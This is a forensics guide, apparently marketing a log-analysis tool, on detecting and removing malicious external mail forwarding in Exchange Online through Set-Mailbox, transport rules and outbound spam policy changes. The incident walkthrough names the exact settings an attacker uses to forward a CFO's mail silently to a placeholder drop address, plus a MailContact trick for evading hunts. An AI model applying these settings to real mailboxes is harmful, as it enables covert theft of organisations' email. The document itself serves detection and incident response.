BEC & Exchange Forensics · T1114.003

Investigating External Email Forwarding: Set-Mailbox and Transport Rules in UAL

Direct Answer (Key Forensic Takeaway)

While regular users abuse Inbox Rules, compromised Exchange Admins or mailbox owners configure persistent external diversion using Set-Mailbox (ForwardingSmtpAddress), New-TransportRule (BlindCopyTo / RedirectMessageTo), or Set-HostedOutboundSpamFilterPolicy (AutoForwardingMode=On). AuditVane rule AV-008 flags all four external forwarding paths automatically.

Detection Objective & Threat Scope

Microsoft Defender for Office 365 blocks automatic external email forwarding by default through the Outbound Spam Filter Policy. Unfortunately, when an adversary compromises an Exchange Administrator account—or targets a tenant where admins previously set AutoForwardingMode to On for a legacy workflow—they gain access to silent mailbox-level and tenant-level mail exfiltration.

Unlike Inbox Rules, Exchange Transport Rules (ETRs) and mailbox ForwardingSmtpAddress properties do NOT appear inside Outlook’s Rules menu and never show up under Get-InboxRule—meaning analysts who only audit inbox rules completely miss ongoing tenant-wide mail theft.

Inspecting RecordType 1 (ExchangeAdmin) in Purview UAL exposes four key exfiltration mutations: Set-Mailbox with ForwardingSmtpAddress or ForwardingAddress (especially paired with DeliverToMailboxAndForward=True so the victim notices zero missing mail), New-TransportRule / Set-TransportRule redirecting or blind-copying messages externally, and Set-HostedOutboundSpamFilterPolicy weakening tenant auto-forward blocks.

AuditVane rule AV-008 automatically detects all four cmdlets across Purview UAL exports and surfaces the exact external SMTP address inside the Event Inspector.

1. RAW TELEMETRY BEC & Exchange Forensics T1114.003 2. CLIENT-SIDE PARSE AuditVane Engine Set-Mailbox ForwardingSmtpAddress 0 Bytes Uploaded 3. SOC OUTCOME Scoped Containment IOCs · CSV · KQL
Local browser DFIR workflow for Set-Mailbox ForwardingSmtpAddress audit log (T1114.003)
AdSense-Ready In-Article Placement

Forensic Telemetry Fields & High-Signal Indicators

Telemetry Field / Pattern Meaning in M365 / Entra High-Signal Threat Indicator
Set-Mailbox / ForwardingSmtpAddressMailbox-level SMTP redirect propertyDeliverToMailboxAndForward=True hides theft from victim
Set-Mailbox / ForwardingAddressForwards via internal MailUser/Contact objectStealthier if attacker created an external MailContact first
New-TransportRule / BlindCopyToOrganization-wide Exchange mail flow ruleCan silently BCC entire departments externally
New-TransportRule / RedirectMessageToDiverts mail before reaching user inboxInvisible to user InboxRule lists
Set-HostedOutboundSpamFilterPolicyTenant outbound auto-forward guardrailAutoForwardingMode = On unlocks external exfiltration
New-MailContact / New-MailUserExternal contact created in Exchange directoryOften paired with ForwardingAddress redirection

Audit Every Active Mailbox, Contact & Transport Forwarding Path

Connect-ExchangeOnline
Get-Mailbox -ResultSize Unlimited | Where-Object { $_.ForwardingSmtpAddress -ne $null -or $_.ForwardingAddress -ne $null } | Select-Object UserPrincipalName, ForwardingSmtpAddress, ForwardingAddress, DeliverToMailboxAndForward
Get-TransportRule | Where-Object { $_.BlindCopyTo -or $_.RedirectMessageTo -or $_.CopyTo } | Format-Table Name, State, BlindCopyTo, RedirectMessageTo
Get-HostedOutboundSpamFilterPolicy | Format-Table Name, AutoForwardingMode

Sample Forwarding Audit Discovery

UserPrincipalName                  ForwardingSmtpAddress                      DeliverToMailboxAndForward
-----------------                  ---------------------                      --------------------------
finance.director@contoso.invalid   smtp:accounting-audit@external-drop.invalid True

Inbox Rule Forwarding vs. Mailbox & Transport Forwarding

Forwarding LayerWho Can Configure?PowerShell Audit Cmdlet
Inbox Rule (ForwardTo / RedirectTo)Mailbox Owner (OWA / Outlook)Get-InboxRule -Mailbox <UPN> -IncludeHidden
Mailbox ForwardingSmtpAddressExchange Admin / HelpdeskGet-Mailbox | Where ForwardingSmtpAddress -ne $null
Exchange Transport Rule (ETR)Exchange / Org Management AdminGet-TransportRule
Outbound Spam PolicyExchange / Security AdminGet-HostedOutboundSpamFilterPolicy

Set-Mailbox External Forwarding AuditData Sample

{
  "CreationTime": "2026-12-01T08:21:11Z",
  "Operation": "Set-Mailbox",
  "RecordType": 1,
  "Workload": "Exchange",
  "UserId": "compromised.admin@contoso-demo.invalid",
  "ClientIP": "185.220.101.45",
  "Parameters": [
    { "Name": "Identity", "Value": "finance.director@contoso-demo.invalid" },
    { "Name": "ForwardingSmtpAddress", "Value": "smtp:accounting-audit@external-drop.invalid" },
    { "Name": "DeliverToMailboxAndForward", "Value": "True" }
  ]
}

Look at UserId vs. Parameters.Identity: an administrator account altered the finance director’s mailbox properties, adding ForwardingSmtpAddress with DeliverToMailboxAndForward=True so nothing looks missing inside the victim’s Outlook.

Real-World Incident Walkthrough

After compromising an IT helpdesk technician who holds Exchange Administrator rights, an attacker spends 90 seconds running Set-HostedOutboundSpamFilterPolicy to permit external forwarding, then runs Set-Mailbox on the CFO’s account adding ForwardingSmtpAddress="smtp:accounting-audit@external-drop.invalid" with DeliverToMailboxAndForward=$true.

Even after the CFO resets their password three weeks later, every incoming M&A contract continues forwarding silently externally until AuditVane flags AV-008 on a 30-day ExchangeAdmin UAL sweep.

Step-by-Step Triage, Containment & Verification

  1. Filter Purview UAL logs inside AuditVane for AV-008 detections across the entire tenant (RecordType 1).
  2. Run the PowerShell sweep across ALL mailboxes—not solely the alerted executive—looking for ForwardingSmtpAddress and ForwardingAddress.
  3. Check Get-TransportRule for any BlindCopyTo, CopyTo, or RedirectMessageTo rules created or modified recently.
  4. Check Get-MailContact for newly added external contacts that might mask ForwardingAddress targets.
  5. Strip unauthorized forwarding via Set-Mailbox -Identity <UPN> -ForwardingSmtpAddress $null -ForwardingAddress $null and disable rogue Transport Rules.
  6. Reset Set-HostedOutboundSpamFilterPolicy AutoForwardingMode back to Off (or Automatic).

How to Verify Containment Completed Cleanly

  • Zero unexpected ForwardingSmtpAddress or ForwardingAddress properties across all tenant mailboxes.
  • Zero unauthorized Transport Rules containing external email addresses.
  • Outbound Spam Filter Policy AutoForwardingMode verified Off or Automatic.

Analyst Blind Spots, Licensing Quirks & False Positives

Remember that resetting the target executive’s password does NOT clear ForwardingSmtpAddress or an Exchange Transport Rule! Furthermore, the presence of New-TransportRule means an admin account was compromised—investigate the initiating UserId immediately.

Attackers sometimes create an internal MailContact pointing to Gmail/Proton first and then set Set-Mailbox -ForwardingAddress <ContactName>, bypassing naive hunts that only grep for ForwardingSmtpAddress.

Frequently Asked Questions

Does Microsoft block external ForwardingSmtpAddress by default?

When HostedOutboundSpamFilterPolicy AutoForwardingMode is set to Automatic (System-controlled), Microsoft blocks external auto-forwarding—unless overridden to On or bypassed via Transport Rule.

Can a normal employee modify Exchange Transport Rules?

No. Only Exchange Administrator or Organization Management roles can run New-TransportRule or Set-TransportRule.

Does AuditVane detect both Set-Mailbox and TransportRule forwarding?

Yes, AuditVane rule AV-008 detects New-TransportRule, Set-TransportRule, Set-HostedOutboundSpamFilterPolicy, and Set-Mailbox forwarding parameters.

What is DeliverToMailboxAndForward=True?

It delivers a copy to the employee’s Inbox while silently forwarding a second copy externally—preventing victims from noticing lost mail.

Related Forensics Guides